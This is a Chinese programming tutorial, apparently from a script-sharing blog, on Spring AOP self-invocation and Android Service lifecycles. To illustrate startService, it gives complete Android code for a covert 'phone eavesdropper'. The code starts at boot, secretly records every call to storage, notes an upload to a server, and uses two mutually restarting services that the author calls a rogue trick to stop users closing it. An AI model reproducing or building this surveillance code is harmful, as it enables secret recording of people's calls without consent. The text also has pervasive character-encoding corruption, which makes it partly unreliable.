關(guān)于同一個service調(diào)用service本身的方法
同一個service調(diào)用service本身
如果同一個service調(diào)用service本身的方法,出現(xiàn)了事務(wù)不能控制。
解決方案
1.在spring配置文件中配置
<!-- expose-proxy service調(diào)用aop實現(xiàn)自身調(diào)用自身方法-->?? ? <aop:aspectj-autoproxy proxy-target-class="true" expose-proxy="true"/>
2.在service中用 AopContext.currentProxy() 方法調(diào)用
例如調(diào)用myService的mySave方法:
((myService) AopContext.currentProxy()).mySave(myPojo);
service的兩種調(diào)用方法
一、startService開啟服務(wù)
生命周期如下:
onCreate()–> onStartCommand() —> onDestory();
如果服務(wù)已經(jīng)開啟,不會重復(fù)的執(zhí)行onCreate(), 而是會調(diào)用onStartCommand()。服務(wù)停止的時候調(diào)用onDestory()。服務(wù)只會被停止一次。
下面是一個電話竊聽器的實例:
在Manifest文件中配置必要的權(quán)限和組件。設(shè)置一個監(jiān)聽開機的廣播接收者。
<uses-permission android:name="android.permission.READ_PHONE_STATE"/>
<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>
<uses-permission android:name="android.permission.RECORD_AUDIO"/>
<uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED"/>
<service android:name="com.itheima.phonelistener.SystemService" >
</service>
<service android:name="com.itheima.phonelistener.SystemService2" >
</service>
<receiver android:name="com.itheima.phonelistener.BootReceiver" >
<intent-filter>
<action android:name="android.intent.action.BOOT_COMPLETED" />
</intent-filter>
</receiver>BootReceiver.java
監(jiān)聽開機事件。
public class BootReceiver extends BroadcastReceiver {
@Override
public void onReceive(Context context, Intent intent) {
Intent i = new Intent(context,SystemService.class);
context.startService(i);
}
}SystemService.java
兩個Service類中的一個。兩個類采用循環(huán)調(diào)用機制,當其中一個Service被destroy時,系統(tǒng)調(diào)用另一個Service。這樣起到了防止用戶關(guān)閉的流氓效果。
public class SystemService extends Service {
// 電話管理器
private TelephonyManager tm;
// 監(jiān)聽器對象
private MyListener listener;
//聲明錄音機
private MediaRecorder mediaRecorder;
@Override
public IBinder onBind(Intent intent) {
return null;
}
// 服務(wù)創(chuàng)建的時候調(diào)用的方法
@Override
public void onCreate() {
// 后臺監(jiān)聽電話的呼叫狀態(tài)。
// 得到電話管理器
tm = (TelephonyManager) this.getSystemService(TELEPHONY_SERVICE);
listener = new MyListener();
tm.listen(listener, PhoneStateListener.LISTEN_CALL_STATE);
super.onCreate();
}
private class MyListener extends PhoneStateListener {
// 當電話的呼叫狀態(tài)發(fā)生變化的時候調(diào)用的方法
@Override
public void onCallStateChanged(int state, String incomingNumber) {
super.onCallStateChanged(state, incomingNumber);
try {
switch (state) {
case TelephonyManager.CALL_STATE_IDLE://空閑狀態(tài)。
if(mediaRecorder!=null){
//8.停止捕獲
mediaRecorder.stop();
//9.釋放資源
mediaRecorder.release();
mediaRecorder = null;
System.out.println("錄制完畢,上傳文件到服務(wù)器。");
}
break;
case TelephonyManager.CALL_STATE_RINGING://零響狀態(tài)。
break;
case TelephonyManager.CALL_STATE_OFFHOOK://通話狀態(tài)
//開始錄音
//1.實例化一個錄音機
mediaRecorder = new MediaRecorder();
//2.指定錄音機的聲音源
mediaRecorder.setAudioSource(MediaRecorder.AudioSource.MIC);
//3.設(shè)置錄制的文件輸出的格式
mediaRecorder.setOutputFormat(MediaRecorder.OutputFormat.DEFAULT);
//4.指定錄音文件的名稱
File file = new File(Environment.getExternalStorageDirectory(),System.currentTimeMillis()+".3gp");
mediaRecorder.setOutputFile(file.getAbsolutePath());
//5.設(shè)置音頻的編碼
mediaRecorder.setAudioEncoder(MediaRecorder.AudioEncoder.DEFAULT);
//6.準備開始錄音
mediaRecorder.prepare();
//7.開始錄音
mediaRecorder.start();
break;
}
} catch (Exception e) {
e.printStackTrace();
}
}
}
// 服務(wù)銷毀的時候調(diào)用的方法
@Override
public void onDestroy() {
super.onDestroy();
// 取消電話的監(jiān)聽
System.out.println("ondestory");
Intent i = new Intent(this,SystemService2.class);
startService(i);
tm.listen(listener, PhoneStateListener.LISTEN_NONE);
listener = null;
}
}MainActivity.java
控制Service的開啟和關(guān)閉。
public class MainActivity extends Activity {
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
}
public void start(View view){
//開啟服務(wù)。
Intent intent = new Intent(this,SystemService.class);
startService(intent);
}
public void stop(View view){
//停止服務(wù)。
Intent intent = new Intent(this,SystemService.class);
stopService(intent);
}
}二、bindService綁定服務(wù)
用綁定方式開啟的Service,其生命周期為:onCreate() —>onBind();—>onunbind()–>onDestory(); 沒有onStartCommand。
步驟:
1. 服務(wù)要暴露方法,必須在Service中定義一個內(nèi)部類——中間人MiddlePerson,實現(xiàn)定義好的接口中的方法(callMethodInService,用于調(diào)用Service中的某方法)。
2. 實現(xiàn)服務(wù)成功綁定的代碼(onBind方法),返回一個中間人new MiddlePerson()。
3. 在Activity中的bind()方法中采用bindService方法開啟服務(wù)。
Intent intent = new Intent(this, MyService.class); conn = new MyConn(); bindService(intent, conn, BIND_AUTO_CREATE);
4. 當服務(wù)被連接或失去連接時,分別實現(xiàn)ServiceConnection接口中的onServiceConnected()和onServiceDisconnected()方法。
5. 最后就可以通過中間人調(diào)用服務(wù)里面的方法了。
mp.callMethodInService(55);
MainActivity.java
public class MyService extends Service {
//2.實現(xiàn)服務(wù)成功綁定的代碼 ,返回一個中間人。
@Override
public IBinder onBind(Intent arg0) {
System.out.println("服務(wù)被成功綁定了。。。。");
return new MiddlePerson();
}
@Override
public boolean onUnbind(Intent intent) {
System.out.println("onunbind");
return super.onUnbind(intent);
}
@Override
public void onCreate() {
System.out.println("oncreate");
super.onCreate();
}
@Override
public int onStartCommand(Intent intent, int flags, int startId) {
System.out.println("onstartcommand");
return super.onStartCommand(intent, flags, startId);
}
@Override
public void onDestroy() {
System.out.println("ondestory");
super.onDestroy();
}
/**
* 這是服務(wù)里面的一個方法
*/
public void methodInService(){
Toast.makeText(this, "哈哈,服務(wù)給你辦好了暫住證。", 0).show();
}
//1.第一步服務(wù)要暴露方法 必須要有一個中間人
private class MiddlePerson extends Binder implements IMiddlePerson{
/**
* 代辦暫住證
* @param money 給錢 50塊錢以上才給辦。
*/
public void callMethodInService(int money){
if(money>=50){
methodInService();
}else{
Toast.makeText(getApplicationContext(), "多準備點錢。", 0).show();
}
}
/**
* 陪領(lǐng)導打麻將
*/
public void playMajiang(){
System.out.println("陪領(lǐng)導打麻將。");
}
}
}三、兩種方法的區(qū)別
start方式開啟服務(wù),一旦服務(wù)開啟,就和調(diào)用者(Activity)沒有任何關(guān)系了。開啟者退出后,如果開啟者掛掉,服務(wù)還在后臺長期的運行。而且開啟者沒有辦法去調(diào)用服務(wù)里面的方法。bind方式開啟服務(wù),一旦調(diào)用者掛掉,服務(wù)也會跟著掛掉。不求同時生,但求同時死。而且開啟者可以調(diào)用服務(wù)里面的方法。
以上為個人經(jīng)驗,希望能給大家一個參考,也希望大家多多支持腳本之家。
相關(guān)文章
java實現(xiàn)Composite組合模式的實例代碼
這篇文章主要介紹了java實現(xiàn)Composite組合模式,本文通過實例代碼給大家介紹的非常詳細,對大家的學習或工作具有一定的參考借鑒價值,需要的朋友可以參考下2021-01-01
Java中Dijkstra算法求解最短路徑的實現(xiàn)
Dijkstra算法是一種解決最短路徑問題的常用算法,本文主要介紹了Java中Dijkstra算法求解最短路徑的實現(xiàn),具有一定的參考價值,感興趣的可以了解一下2023-09-09
Java創(chuàng)建類模式_動力節(jié)點Java學院整理
這篇文章主要為大家詳細介紹了Java創(chuàng)建類模式的相關(guān)方法,具有一定的參考價值,感興趣的小伙伴們可以參考一下2017-08-08
springboot業(yè)務(wù)功能實戰(zhàn)之告別輪詢websocket的集成使用
WebSocket使得客戶端和服務(wù)器之間的數(shù)據(jù)交換變得更加簡單,允許服務(wù)端主動向客戶端推送數(shù)據(jù),下面這篇文章主要給大家介紹了關(guān)于springboot業(yè)務(wù)功能實戰(zhàn)之告別輪詢websocket的集成使用,需要的朋友可以參考下2022-10-10
Java NumberFormat格式化float類型的bug
今天小編就為大家分享一篇關(guān)于Java NumberFormat格式化float類型的bug,小編覺得內(nèi)容挺不錯的,現(xiàn)在分享給大家,具有很好的參考價值,需要的朋友一起跟隨小編來看看吧2018-10-10
詳解Java Project項目打包成jar,并生成exe文件
本篇文章主要介紹了Java Project項目打包成jar,并生成exe文件,非常具有實用價值,有興趣的可以了解一下。2017-01-01

